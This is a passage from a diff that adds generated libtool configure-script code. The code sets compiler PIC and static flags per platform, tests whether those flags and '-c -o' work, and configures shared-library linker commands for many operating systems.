+      if test "$host_cpu" = ia64; then
+	# AIX 5 now supports IA64 processor
+	lt_prog_compiler_static='-Bstatic'
+      fi
+      ;;
+
+    amigaos*)
+      if test "$host_cpu" = m68k; then
+        # FIXME: we need at least 68020 code to build shared libraries, but
+        # adding the `-m68020' flag to GCC prevents building anything better,
+        # like `-m68040'.
+        lt_prog_compiler_pic='-m68020 -resident32 -malways-restore-a4'
+      fi
+      ;;
+
+    beos* | cygwin* | irix5* | irix6* | nonstopux* | osf3* | osf4* | osf5*)
+      # PIC is the default for these OSes.
+      ;;
+
+    mingw* | pw32* | os2*)
+      # This hack is so that the source file can tell whether it is being
+      # built for inclusion in a dll (and should export symbols for example).
+      lt_prog_compiler_pic='-DDLL_EXPORT'
+      ;;
+
+    darwin* | rhapsody*)
+      # PIC is the default on this platform
+      # Common symbols not allowed in MH_DYLIB files
+      lt_prog_compiler_pic='-fno-common'
+      ;;
+
+    hpux*)
+      # PIC is the default for IA64 HP-UX and 64-bit HP-UX, but
+      # not for PA HP-UX.
+      case $host_cpu in
+      hppa*64*|ia64*)
+	# +Z the default
+	;;
+      *)
+	lt_prog_compiler_pic='-fPIC'
+	;;
+      esac
+      ;;
+
+    interix3*)
+      # Interix 3.x gcc -fpic/-fPIC options generate broken code.
+      # Instead, we relocate shared libraries at runtime.
+      ;;
+
+    msdosdjgpp*)
+      # Just because we use GCC doesn't mean we suddenly get shared libraries
+      # on systems that don't support them.
+      lt_prog_compiler_can_build_shared=no
+      enable_shared=no
+      ;;
+
+    *nto* | *qnx*)
+      # QNX uses GNU C++, but need to define -shared option too, otherwise
+      # it will coredump.
+      lt_prog_compiler_pic='-fPIC -shared'
+      ;;
+
+    sysv4*MP*)
+      if test -d /usr/nec; then
+	lt_prog_compiler_pic=-Kconform_pic
+      fi
+      ;;
+
+    *)
+      lt_prog_compiler_pic='-fPIC'
+      ;;
+    esac
+  else
+    # PORTME Check for flag to pass linker flags through the system compiler.
+    case $host_os in
+    aix*)
+      lt_prog_compiler_wl='-Wl,'
+      if test "$host_cpu" = ia64; then
+	# AIX 5 now supports IA64 processor
+	lt_prog_compiler_static='-Bstatic'
+      else
+	lt_prog_compiler_static='-bnso -bI:/lib/syscalls.exp'
+      fi
+      ;;
+    darwin*)
+      # PIC is the default on this platform
+      # Common symbols not allowed in MH_DYLIB files
+      case $cc_basename in
+      xlc*)
+        lt_prog_compiler_pic='-qnocommon'
+        lt_prog_compiler_wl='-Wl,'
+        ;;
+      esac
+      ;;
+
+    mingw* | pw32* | os2*)
+      # This hack is so that the source file can tell whether it is being
+      # built for inclusion in a dll (and should export symbols for example).
+      lt_prog_compiler_pic='-DDLL_EXPORT'
+      ;;
+
+    hpux9* | hpux10* | hpux11*)
+      lt_prog_compiler_wl='-Wl,'
+      # PIC is the default for IA64 HP-UX and 64-bit HP-UX, but
+      # not for PA HP-UX.
+      case $host_cpu in
+      hppa*64*|ia64*)
+	# +Z the default
+	;;
+      *)
+	lt_prog_compiler_pic='+Z'
+	;;
+      esac
+      # Is there a better lt_prog_compiler_static that works with the bundled CC?
+      lt_prog_compiler_static='${wl}-a ${wl}archive'
+      ;;
+
+    irix5* | irix6* | nonstopux*)
+      lt_prog_compiler_wl='-Wl,'
+      # PIC (with -KPIC) is the default.
+      lt_prog_compiler_static='-non_shared'
+      ;;
+
+    linux*)
+      case $cc_basename in
+      icc* | ecc*)
+	lt_prog_compiler_wl='-Wl,'
+	lt_prog_compiler_pic='-KPIC'
+	lt_prog_compiler_static='-static'
+        ;;
+      pgcc* | pgf77* | pgf90* | pgf95*)
+        # Portland Group compilers (*not* the Pentium gcc compiler,
+	# which looks to be a dead project)
+	lt_prog_compiler_wl='-Wl,'
+	lt_prog_compiler_pic='-fpic'
+	lt_prog_compiler_static='-Bstatic'
+        ;;
+      ccc*)
+        lt_prog_compiler_wl='-Wl,'
+        # All Alpha code is PIC.
+        lt_prog_compiler_static='-non_shared'
+        ;;
+      esac
+      ;;
+
+    newsos6)
+      lt_prog_compiler_pic='-KPIC'
+      lt_prog_compiler_static='-Bstatic'
+      ;;
+
+    *nto* | *qnx*)
+      # QNX uses GNU C++, but need to define -shared option too, otherwise
+      # it will coredump.
+      lt_prog_compiler_pic='-fPIC -shared'
+      ;;
+
+    osf3* | osf4* | osf5*)
+      lt_prog_compiler_wl='-Wl,'
+      # All OSF/1 code is PIC.
+      lt_prog_compiler_static='-non_shared'
+      ;;
+
+    rdos*)
+      lt_prog_compiler_static='-non_shared'
+      ;;
+
+    solaris*)
+      lt_prog_compiler_pic='-KPIC'
+      lt_prog_compiler_static='-Bstatic'
+      case $cc_basename in
+      f77* | f90* | f95*)
+	lt_prog_compiler_wl='-Qoption ld ';;
+      *)
+	lt_prog_compiler_wl='-Wl,';;
+      esac
+      ;;
+
+    sunos4*)
+      lt_prog_compiler_wl='-Qoption ld '
+      lt_prog_compiler_pic='-PIC'
+      lt_prog_compiler_static='-Bstatic'
+      ;;
+
+    sysv4 | sysv4.2uw2* | sysv4.3*)
+      lt_prog_compiler_wl='-Wl,'
+      lt_prog_compiler_pic='-KPIC'
+      lt_prog_compiler_static='-Bstatic'
+      ;;
+
+    sysv4*MP*)
+      if test -d /usr/nec ;then
+	lt_prog_compiler_pic='-Kconform_pic'
+	lt_prog_compiler_static='-Bstatic'
+      fi
+      ;;
+
+    sysv5* | unixware* | sco3.2v5* | sco5v6* | OpenUNIX*)
+      lt_prog_compiler_wl='-Wl,'
+      lt_prog_compiler_pic='-KPIC'
+      lt_prog_compiler_static='-Bstatic'
+      ;;
+
+    unicos*)
+      lt_prog_compiler_wl='-Wl,'
+      lt_prog_compiler_can_build_shared=no
+      ;;
+
+    uts4*)
+      lt_prog_compiler_pic='-pic'
+      lt_prog_compiler_static='-Bstatic'
+      ;;
+
+    *)
+      lt_prog_compiler_can_build_shared=no
+      ;;
+    esac
+  fi
+
+case $host_os in
+  # For platforms which do not support PIC, -DPIC is meaningless:
+  *djgpp*)
+    lt_prog_compiler_pic=
+    ;;
+  *)
+    lt_prog_compiler_pic="$lt_prog_compiler_pic -DPIC"
+    ;;
+esac
+echo "$as_me:$LINENO: result: $lt_prog_compiler_pic" >&5
+echo "${ECHO_T}$lt_prog_compiler_pic" >&6
+
+
+
+
+
+
+#
+# Check to make sure the PIC flag actually works.
+#
+if test -n "$lt_prog_compiler_pic"; then
+  echo "$as_me:$LINENO: checking if $compiler PIC flag $lt_prog_compiler_pic works" >&5
+echo $ECHO_N "checking if $compiler PIC flag $lt_prog_compiler_pic works... $ECHO_C" >&6
+if test "${lt_prog_compiler_pic_works+set}" = set; then
+  echo $ECHO_N "(cached) $ECHO_C" >&6
+else
+  lt_prog_compiler_pic_works=no
+   ac_outfile=conftest.$ac_objext
+   printf "$lt_simple_compile_test_code" > conftest.$ac_ext
+   lt_compiler_flag="$lt_prog_compiler_pic -DPIC"
+   # Insert the option either (1) after the last *FLAGS variable, or
+   # (2) before a word containing "conftest.", or (3) at the end.
+   # Note that $ac_compile itself does not contain backslashes and begins
+   # with a dollar sign (not a hyphen), so the echo should work correctly.
+   # The option is referenced via a variable to avoid confusing sed.
+   lt_compile=`echo "$ac_compile" | $SED \
+   -e 's:.*FLAGS}\{0,1\} :&$lt_compiler_flag :; t' \
+   -e 's: [^ ]*conftest\.: $lt_compiler_flag&:; t' \
+   -e 's:$: $lt_compiler_flag:'`
+   (eval echo "\"\$as_me:6456: $lt_compile\"" >&5)
+   (eval "$lt_compile" 2>conftest.err)
+   ac_status=$?
+   cat conftest.err >&5
+   echo "$as_me:6460: \$? = $ac_status" >&5
+   if (exit $ac_status) && test -s "$ac_outfile"; then
+     # The compiler can only warn and ignore the option if not recognized
+     # So say no if there are warnings other than the usual output.
+     $ECHO "X$_lt_compiler_boilerplate" | $Xsed -e '/^$/d' >conftest.exp
+     $SED '/^$/d; /^ *+/d' conftest.err >conftest.er2
+     if test ! -s conftest.er2 || diff conftest.exp conftest.er2 >/dev/null; then
+       lt_prog_compiler_pic_works=yes
+     fi
+   fi
+   $RM conftest*
+
+fi
+echo "$as_me:$LINENO: result: $lt_prog_compiler_pic_works" >&5
+echo "${ECHO_T}$lt_prog_compiler_pic_works" >&6
+
+if test x"$lt_prog_compiler_pic_works" = xyes; then
+    case $lt_prog_compiler_pic in
+     "" | " "*) ;;
+     *) lt_prog_compiler_pic=" $lt_prog_compiler_pic" ;;
+     esac
+else
+    lt_prog_compiler_pic=
+     lt_prog_compiler_can_build_shared=no
+fi
+
+fi
+
+
+
+
+
+
+#
+# Check to make sure the static flag actually works.
+#
+wl=$lt_prog_compiler_wl eval lt_tmp_static_flag=\"$lt_prog_compiler_static\"
+echo "$as_me:$LINENO: checking if $compiler static flag $lt_tmp_static_flag works" >&5
+echo $ECHO_N "checking if $compiler static flag $lt_tmp_static_flag works... $ECHO_C" >&6
+if test "${lt_prog_compiler_static_works+set}" = set; then
+  echo $ECHO_N "(cached) $ECHO_C" >&6
+else
+  lt_prog_compiler_static_works=no
+   save_LDFLAGS="$LDFLAGS"
+   LDFLAGS="$LDFLAGS $lt_tmp_static_flag"
+   printf "$lt_simple_link_test_code" > conftest.$ac_ext
+   if (eval $ac_link 2>conftest.err) && test -s conftest$ac_exeext; then
+     # The linker can only warn and ignore the option if not recognized
+     # So say no if there are warnings
+     if test -s conftest.err; then
+       # Append any errors to the config.log.
+       cat conftest.err 1>&5
+       $ECHO "X$_lt_linker_boilerplate" | $Xsed -e '/^$/d' > conftest.exp
+       $SED '/^$/d; /^ *+/d' conftest.err >conftest.er2
+       if diff conftest.exp conftest.er2 >/dev/null; then
+         lt_prog_compiler_static_works=yes
+       fi
+     else
+       lt_prog_compiler_static_works=yes
+     fi
+   fi
+   $RM conftest*
+   LDFLAGS="$save_LDFLAGS"
+
+fi
+echo "$as_me:$LINENO: result: $lt_prog_compiler_static_works" >&5
+echo "${ECHO_T}$lt_prog_compiler_static_works" >&6
+
+if test x"$lt_prog_compiler_static_works" = xyes; then
+    :
+else
+    lt_prog_compiler_static=
+fi
+
+
+
+
+
+
+
+  echo "$as_me:$LINENO: checking if $compiler supports -c -o file.$ac_objext" >&5
+echo $ECHO_N "checking if $compiler supports -c -o file.$ac_objext... $ECHO_C" >&6
+if test "${lt_cv_prog_compiler_c_o+set}" = set; then
+  echo $ECHO_N "(cached) $ECHO_C" >&6
+else
+  lt_cv_prog_compiler_c_o=no
+   $RM -r conftest 2>/dev/null
+   mkdir conftest
+   cd conftest
+   mkdir out
+   printf "$lt_simple_compile_test_code" > conftest.$ac_ext
+
+   lt_compiler_flag="-o out/conftest2.$ac_objext"
+   # Insert the option either (1) after the last *FLAGS variable, or
+   # (2) before a word containing "conftest.", or (3) at the end.
+   # Note that $ac_compile itself does not contain backslashes and begins
+   # with a dollar sign (not a hyphen), so the echo should work correctly.
+   lt_compile=`echo "$ac_compile" | $SED \
+   -e 's:.*FLAGS}\{0,1\} :&$lt_compiler_flag :; t' \
+   -e 's: [^ ]*conftest\.: $lt_compiler_flag&:; t' \
+   -e 's:$: $lt_compiler_flag:'`
+   (eval echo "\"\$as_me:6561: $lt_compile\"" >&5)
+   (eval "$lt_compile" 2>out/conftest.err)
+   ac_status=$?
+   cat out/conftest.err >&5
+   echo "$as_me:6565: \$? = $ac_status" >&5
+   if (exit $ac_status) && test -s out/conftest2.$ac_objext
+   then
+     # The compiler can only warn and ignore the option if not recognized
+     # So say no if there are warnings
+     $ECHO "X$_lt_compiler_boilerplate" | $Xsed -e '/^$/d' > out/conftest.exp
+     $SED '/^$/d; /^ *+/d' out/conftest.err >out/conftest.er2
+     if test ! -s out/conftest.er2 || diff out/conftest.exp out/conftest.er2 >/dev/null; then
+       lt_cv_prog_compiler_c_o=yes
+     fi
+   fi
+   chmod u+w . 2>&5
+   $RM conftest*
+   # SGI C++ compiler will create directory out/ii_files/ for
+   # template instantiation
+   test -d out/ii_files && $RM out/ii_files/* && rmdir out/ii_files
+   $RM out/* && rmdir out
+   cd ..
+   $RM -r conftest
+   $RM conftest*
+
+fi
+echo "$as_me:$LINENO: result: $lt_cv_prog_compiler_c_o" >&5
+echo "${ECHO_T}$lt_cv_prog_compiler_c_o" >&6
+
+
+
+
+
+
+  echo "$as_me:$LINENO: checking if $compiler supports -c -o file.$ac_objext" >&5
+echo $ECHO_N "checking if $compiler supports -c -o file.$ac_objext... $ECHO_C" >&6
+if test "${lt_cv_prog_compiler_c_o+set}" = set; then
+  echo $ECHO_N "(cached) $ECHO_C" >&6
+else
+  lt_cv_prog_compiler_c_o=no
+   $RM -r conftest 2>/dev/null
+   mkdir conftest
+   cd conftest
+   mkdir out
+   printf "$lt_simple_compile_test_code" > conftest.$ac_ext
+
+   lt_compiler_flag="-o out/conftest2.$ac_objext"
+   # Insert the option either (1) after the last *FLAGS variable, or
+   # (2) before a word containing "conftest.", or (3) at the end.
+   # Note that $ac_compile itself does not contain backslashes and begins
+   # with a dollar sign (not a hyphen), so the echo should work correctly.
+   lt_compile=`echo "$ac_compile" | $SED \
+   -e 's:.*FLAGS}\{0,1\} :&$lt_compiler_flag :; t' \
+   -e 's: [^ ]*conftest\.: $lt_compiler_flag&:; t' \
+   -e 's:$: $lt_compiler_flag:'`
+   (eval echo "\"\$as_me:6616: $lt_compile\"" >&5)
+   (eval "$lt_compile" 2>out/conftest.err)
+   ac_status=$?
+   cat out/conftest.err >&5
+   echo "$as_me:6620: \$? = $ac_status" >&5
+   if (exit $ac_status) && test -s out/conftest2.$ac_objext
+   then
+     # The compiler can only warn and ignore the option if not recognized
+     # So say no if there are warnings
+     $ECHO "X$_lt_compiler_boilerplate" | $Xsed -e '/^$/d' > out/conftest.exp
+     $SED '/^$/d; /^ *+/d' out/conftest.err >out/conftest.er2
+     if test ! -s out/conftest.er2 || diff out/conftest.exp out/conftest.er2 >/dev/null; then
+       lt_cv_prog_compiler_c_o=yes
+     fi
+   fi
+   chmod u+w . 2>&5
+   $RM conftest*
+   # SGI C++ compiler will create directory out/ii_files/ for
+   # template instantiation
+   test -d out/ii_files && $RM out/ii_files/* && rmdir out/ii_files
+   $RM out/* && rmdir out
+   cd ..
+   $RM -r conftest
+   $RM conftest*
+
+fi
+echo "$as_me:$LINENO: result: $lt_cv_prog_compiler_c_o" >&5
+echo "${ECHO_T}$lt_cv_prog_compiler_c_o" >&6
+
+
+
+
+hard_links="nottested"
+if test "$lt_cv_prog_compiler_c_o" = no && test "$need_locks" != no; then
+  # do not overwrite the value of need_locks provided by the user
+  echo "$as_me:$LINENO: checking if we can lock with hard links" >&5
+echo $ECHO_N "checking if we can lock with hard links... $ECHO_C" >&6
+  hard_links=yes
+  $RM conftest*
+  ln conftest.a conftest.b 2>/dev/null && hard_links=no
+  touch conftest.a
+  ln conftest.a conftest.b 2>&5 || hard_links=no
+  ln conftest.a conftest.b 2>/dev/null && hard_links=no
+  echo "$as_me:$LINENO: result: $hard_links" >&5
+echo "${ECHO_T}$hard_links" >&6
+  if test "$hard_links" = no; then
+    { echo "$as_me:$LINENO: WARNING: \`$CC' does not support \`-c -o', so \`make -j' may be unsafe" >&5
+echo "$as_me: WARNING: \`$CC' does not support \`-c -o', so \`make -j' may be unsafe" >&2;}
+    need_locks=warn
+  fi
+else
+  need_locks=no
+fi
+
+
+
+
+
+
+  echo "$as_me:$LINENO: checking whether the $compiler linker ($LD) supports shared libraries" >&5
+echo $ECHO_N "checking whether the $compiler linker ($LD) supports shared libraries... $ECHO_C" >&6
+
+  runpath_var=
+  allow_undefined_flag=
+  always_export_symbols=no
+  archive_cmds=
+  archive_expsym_cmds=
+  enable_shared_with_static_runtimes=no
+  export_dynamic_flag_spec=
+  export_symbols_cmds='$NM $libobjs $convenience | $global_symbol_pipe | $SED '\''s/.* //'\'' | sort | uniq > $export_symbols'
+  hardcode_automatic=no
+  hardcode_direct=no
+  hardcode_libdir_flag_spec=
+  hardcode_libdir_flag_spec_ld=
+  hardcode_libdir_separator=
+  hardcode_minus_L=no
+  hardcode_shlibpath_var=unsupported
+  inherit_rpath=no
+  link_all_deplibs=unknown
+  module_cmds=
+  module_expsym_cmds=
+  old_archive_from_new_cmds=
+  old_archive_from_expsyms_cmds=
+  thread_safe_flag_spec=
+  whole_archive_flag_spec=
+  # include_expsyms should be a list of space-separated symbols to be *always*
+  # included in the symbol list
+  include_expsyms=
+  # exclude_expsyms can be an extended regexp of symbols to exclude
+  # it will be wrapped by ` (' and `)$', so one must not match beginning or
+  # end of line.  Example: `a|bc|.*d.*' will exclude the symbols `a' and `bc',
+  # as well as any symbol that contains `d'.
+  exclude_expsyms="_GLOBAL_OFFSET_TABLE_"
+  # Although _GLOBAL_OFFSET_TABLE_ is a valid symbol C name, most a.out
+  # platforms (ab)use it in PIC code, but their linkers get confused if
+  # the symbol is explicitly referenced.  Since portable code cannot
+  # rely on this symbol name, it's probably fine to never include it in
+  # preloaded symbol tables.
+  extract_expsyms_cmds=
+
+  case $host_os in
+  cygwin* | mingw* | pw32*)
+    # FIXME: the MSVC++ port hasn't been tested in a loooong time
+    # When not using gcc, we currently assume that we are using
+    # Microsoft Visual C++.
+    if test "$GCC" != yes; then
+      with_gnu_ld=no
+    fi
+    ;;
+  interix*)
+    # we just hope/assume this is gcc and not c89 (= MSVC++)
+    with_gnu_ld=yes
+    ;;
+  openbsd*)
+    with_gnu_ld=no
+    ;;
+  esac
+
+  ld_shlibs=yes
+  if test "$with_gnu_ld" = yes; then
+    # If archive_cmds runs LD, not CC, wlarc should be empty
+    wlarc='${wl}'
+
+    # Set some defaults for GNU ld with shared library support. These
+    # are reset later if shared libraries are not supported. Putting them
+    # here allows them to be overridden if necessary.
+    runpath_var=LD_RUN_PATH
+    hardcode_libdir_flag_spec='${wl}-rpath ${wl}$libdir'
+    export_dynamic_flag_spec='${wl}--export-dynamic'
+    # ancient GNU ld didn't support --whole-archive et. al.
+    if $LD --help 2>&1 | $GREP 'no-whole-archive' > /dev/null; then
+      whole_archive_flag_spec="$wlarc"'--whole-archive$convenience '"$wlarc"'--no-whole-archive'
+    else
+      whole_archive_flag_spec=
+    fi
+    supports_anon_versioning=no
+    case `$LD -v 2>&1` in
+      *\ [01].* | *\ 2.[0-9].* | *\ 2.10.*) ;; # catch versions < 2.11
+      *\ 2.11.93.0.2\ *) supports_anon_versioning=yes ;; # RH7.3 ...
+      *\ 2.11.92.0.12\ *) supports_anon_versioning=yes ;; # Mandrake 8.2 ...
+      *\ 2.11.*) ;; # other 2.11 versions
+      *) supports_anon_versioning=yes ;;
+    esac
+
+    # See if GNU ld supports shared libraries.
+    case $host_os in
+    aix3* | aix4* | aix5*)
+      # On AIX/PPC, the GNU linker is very broken
+      if test "$host_cpu" != ia64; then
+	ld_shlibs=no
+	cat <<_LT_EOF 1>&2
+
+*** Warning: the GNU linker, at least up to release 2.9.1, is reported
+*** to be unable to reliably create shared libraries on AIX.
+*** Therefore, libtool is disabling shared libraries support.  If you
+*** really care for shared libraries, you may want to modify your PATH
+*** so that a non-GNU linker is found, and then restart.
+
+_LT_EOF
+      fi
+      ;;
+
+    amigaos*)
+      if test "$host_cpu" = m68k; then
+        archive_cmds='$RM $output_objdir/a2ixlibrary.data~$ECHO "#define NAME $libname" > $output_objdir/a2ixlibrary.data~$ECHO "#define LIBRARY_ID 1" >> $output_objdir/a2ixlibrary.data~$ECHO "#define VERSION $major" >> $output_objdir/a2ixlibrary.data~$ECHO "#define REVISION $revision" >> $output_objdir/a2ixlibrary.data~$AR $AR_FLAGS $lib $libobjs~$RANLIB $lib~(cd $output_objdir && a2ixlibrary -32)'
+        hardcode_libdir_flag_spec='-L$libdir'
+        hardcode_minus_L=yes
+      fi
+
+      # Samuel A. Falvo II <kc5tja@dolphin.openprojects.net> reports
+      # that the semantics of dynamic libraries on AmigaOS, at least up
+      # to version 4, is to share data among multiple programs linked
+      # with the same dynamic library.  Since this doesn't match the
+      # behavior of shared libraries on other platforms, we can't use
+      # them.
+      ld_shlibs=no
+      ;;
+
+    beos*)
+      if $LD --help 2>&1 | $GREP ': supported targets:.* elf' > /dev/null; then
+	allow_undefined_flag=unsupported
+	# Joseph Beckenbach <jrb3@best.com> says some releases of gcc
+	# support --undefined.  This deserves some investigation.  FIXME
+	archive_cmds='$CC -nostart $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib'
+      else
+	ld_shlibs=no
+      fi
+      ;;
+
+    cygwin* | mingw* | pw32*)
+      # _LT_TAGVAR(hardcode_libdir_flag_spec, ) is actually meaningless,
+      # as there is no search path for DLLs.
+      hardcode_libdir_flag_spec='-L$libdir'
+      allow_undefined_flag=unsupported
+      always_export_symbols=no
+      enable_shared_with_static_runtimes=yes
+      export_symbols_cmds='$NM $libobjs $convenience | $global_symbol_pipe | $SED -e '\''/^[BCDGRS] /s/.* \([^ ]*\)/\1 DATA/'\'' | $SED -e '\''/^[AITW] /s/.* //'\'' | sort | uniq > $export_symbols'
+
+      if $LD --help 2>&1 | $GREP 'auto-import' > /dev/null; then
+        archive_cmds='$CC -shared $libobjs $deplibs $compiler_flags -o $output_objdir/$soname ${wl}--enable-auto-image-base -Xlinker --out-implib -Xlinker $lib'
+	# If the export-symbols file already is a .def file (1st line
+	# is EXPORTS), use it as is; otherwise, prepend...
+	archive_expsym_cmds='if test "x`$SED 1q $export_symbols`" = xEXPORTS; then
+	  cp $export_symbols $output_objdir/$soname.def;
+	else
+	  echo EXPORTS > $output_objdir/$soname.def;
+	  cat $export_symbols >> $output_objdir/$soname.def;
+	fi~
+	$CC -shared $output_objdir/$soname.def $libobjs $deplibs $compiler_flags -o $output_objdir/$soname ${wl}--enable-auto-image-base -Xlinker --out-implib -Xlinker $lib'
+      else
+	ld_shlibs=no
+      fi
+      ;;
+
+    interix3*)
+      hardcode_direct=no
+      hardcode_shlibpath_var=no
+      hardcode_libdir_flag_spec='${wl}-rpath,$libdir'
+      export_dynamic_flag_spec='${wl}-E'
+      # Hack: On Interix 3.x, we cannot compile PIC because of a broken gcc.
+      # Instead, shared libraries are loaded at an image base (0x10000000 by
+      # default) and relocated if they conflict, which is a slow very memory
+      # consuming and fragmenting process.  To avoid this, we pick a random,
+      # 256 KiB-aligned image base between 0x50000000 and 0x6FFC0000 at link
+      # time.  Moving up from 0x10000000 also allows more sbrk(2) space.
+      archive_cmds='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-h,$soname ${wl}--image-base,`expr ${RANDOM-$$} % 4096 / 2 \* 262144 + 1342177280` -o $lib'
+      archive_expsym_cmds='sed "s,^,_," $export_symbols >$output_objdir/$soname.expsym~$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-h,$soname ${wl}--retain-symbols-file,$output_objdir/$soname.expsym ${wl}--image-base,`expr ${RANDOM-$$} % 4096 / 2 \* 262144 + 1342177280` -o $lib'
+      ;;
+
+    linux*|tpf*)
+      tmp_diet=no
+      if test "$host_os" = linux-dietlibc; then
+	case $cc_basename in
+	  diet\ *) tmp_diet=yes;;	# linux-dietlibc with static linking (!diet-dyn)
+	esac
+      fi
+      if $LD --help 2>&1 | $EGREP ': supported targets:.* elf' > /dev/null \
+	 && test "$tmp_diet" = no
+      then
+	tmp_addflag=
+	case $cc_basename,$host_cpu in
+        pgcc*)				# Portland Group C compiler
+	  whole_archive_flag_spec='${wl}--whole-archive`for conv in $convenience\"\"; do test  -n \"$conv\" && new_convenience=\"$new_convenience,$conv\"; done; $ECHO \"$new_convenience\"` ${wl}--no-whole-archive'
+	  tmp_addflag=' $pic_flag'
+	  ;;
+	pgf77* | pgf90* | pgf95*)	# Portland Group f77 and f90 compilers
+	  whole_archive_flag_spec='${wl}--whole-archive`for conv in $convenience\"\"; do test  -n \"$conv\" && new_convenience=\"$new_convenience,$conv\"; done; $ECHO \"$new_convenience\"` ${wl}--no-whole-archive'
+	  tmp_addflag=' $pic_flag -Mnomain' ;;
+	ecc*,ia64* | icc*,ia64*)	# Intel C compiler on ia64
+	  tmp_addflag=' -i_dynamic' ;;
+	efc*,ia64* | ifort*,ia64*)	# Intel Fortran compiler on ia64
+	  tmp_addflag=' -i_dynamic -nofor_main' ;;
+	ifc* | ifort*)			# Intel Fortran compiler
+	  tmp_addflag=' -nofor_main' ;;
+	esac
+
+	archive_cmds='$CC -shared'"$tmp_addflag"' $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib'
+
+        if test "x$supports_anon_versioning" = xyes; then
+          archive_expsym_cmds='echo "{ global:" > $output_objdir/$libname.ver~cat $export_symbols | sed -e "s/\(.*\)/\1;/" >> $output_objdir/$libname.ver~echo "local: *; };" >> $output_objdir/$libname.ver~$CC -shared'"$tmp_addflag"' $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-version-script ${wl}$output_objdir/$libname.ver -o $lib'
+        fi
+      else
+        ld_shlibs=no
+      fi
+      ;;
+
+    netbsd*)
+      if echo __ELF__ | $CC -E - | $GREP __ELF__ >/dev/null; then
+	archive_cmds='$LD -Bshareable $libobjs $deplibs $linker_flags -o $lib'
+	wlarc=
+      else
+	archive_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib'
+	archive_expsym_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib'
+      fi
+      ;;
+
+    solaris*)
+      if $LD -v 2>&1 | $GREP 'BFD 2\.8' > /dev/null; then
+	ld_shlibs=no
+	cat <<_LT_EOF 1>&2
+
+*** Warning: The releases 2.8.* of the GNU linker cannot reliably
+*** create shared libraries on Solaris systems.  Therefore, libtool
+*** is disabling shared libraries support.  We urge you to upgrade GNU
+*** binutils to release 2.9.1 or newer.  Another option is to modify
+*** your PATH or compiler configuration so that the native linker is
+*** used, and then restart.
+
+_LT_EOF
+      elif $LD --help 2>&1 | $GREP ': supported targets:.* elf' > /dev/null; then
+	archive_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib'
+	archive_expsym_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib'
+      else
+	ld_shlibs=no
+      fi
+      ;;
+
+    sysv5* | sco3.2v5* | sco5v6* | unixware* | OpenUNIX*)
+      case `$LD -v 2>&1` in
+        *\ [01].* | *\ 2.[0-9].* | *\ 2.1[0-5].*)
+	ld_shlibs=no
+	cat <<_LT_EOF 1>&2
+
+*** Warning: Releases of the GNU linker prior to 2.16.91.0.3 can not
+*** reliably create shared libraries on SCO systems.  Therefore, libtool
+*** is disabling shared libraries support.  We urge you to upgrade GNU
+*** binutils to release 2.16.91.0.3 or newer.  Another option is to modify
+*** your PATH or compiler configuration so that the native linker is
+*** used, and then restart.
+
+_LT_EOF
+	;;
+	*)
+	  # For security reasons, it is highly recommended that you always
+	  # use absolute paths for naming shared libraries, and exclude the
+	  # DT_RUNPATH tag from executables and libraries.  But doing so
+	  # requires that you compile everything twice, which is a pain.
+	  if $LD --help 2>&1 | $GREP ': supported targets:.* elf' > /dev/null; then
+	    hardcode_libdir_flag_spec='${wl}-rpath ${wl}$libdir'
+	    archive_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib'
+	    archive_expsym_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib'
+	  else
+	    ld_shlibs=no
+	  fi
+	;;
+      esac
+      ;;
+
+    sunos4*)
+      archive_cmds='$LD -assert pure-text -Bshareable -o $lib $libobjs $deplibs $linker_flags'
+      wlarc=
+      hardcode_direct=yes
+      hardcode_shlibpath_var=no
+      ;;
+
+    *)
+      if $LD --help 2>&1 | $GREP ': supported targets:.* elf' > /dev/null; then
+	archive_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib'
+	archive_expsym_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib'
+      else
+	ld_shlibs=no
+      fi
+      ;;
+    esac
+
+    if test "$ld_shlibs" = no; then
+      runpath_var=
+      hardcode_libdir_flag_spec=
+      export_dynamic_flag_spec=
+      whole_archive_flag_spec=
+    fi
+  else
+    # PORTME fill in a description of your system's linker (not GNU ld)
+    case $host_os in
+    aix3*)
+      allow_undefined_flag=unsupported
+      always_export_symbols=yes
+      archive_expsym_cmds='$LD -o $output_objdir/$soname $libobjs $deplibs $linker_flags -bE:$export_symbols -T512 -H512 -bM:SRE~$AR $AR_FLAGS $lib $output_objdir/$soname'
+      # Note: this linker hardcodes the directories in LIBPATH if there
+      # are no directories specified by -L.
+      hardcode_minus_L=yes
+      if test "$GCC" = yes && test -z "$lt_prog_compiler_static"; then
+	# Neither direct hardcoding nor static linking is supported with a
+	# broken collect2.
+	hardcode_direct=unsupported
+      fi
+      ;;
+
+    aix4* | aix5*)
+      if test "$host_cpu" = ia64; then
+	# On IA64, the linker does run time linking by default, so we don't
+	# have to do anything special.
+	aix_use_runtimelinking=no
+	exp_sym_flag='-Bexport'
+	no_entry_flag=""
+      else
+	# If we're using GNU nm, then we don't want the "-C" option.
+	# -C means demangle to AIX nm, but means don't demangle with GNU nm
+	if $NM -V 2>&1 | $GREP 'GNU' > /dev/null; then
+	  export_symbols_cmds='$NM -Bpg $libobjs $convenience | awk '\''{ if (((\$ 2 == "T") || (\$ 2 == "D") || (\$ 2 == "B")) && (substr(\$ 3,1,1) != ".")) { print \$ 3 } }'\'' | sort -u > $export_symbols'
+	else
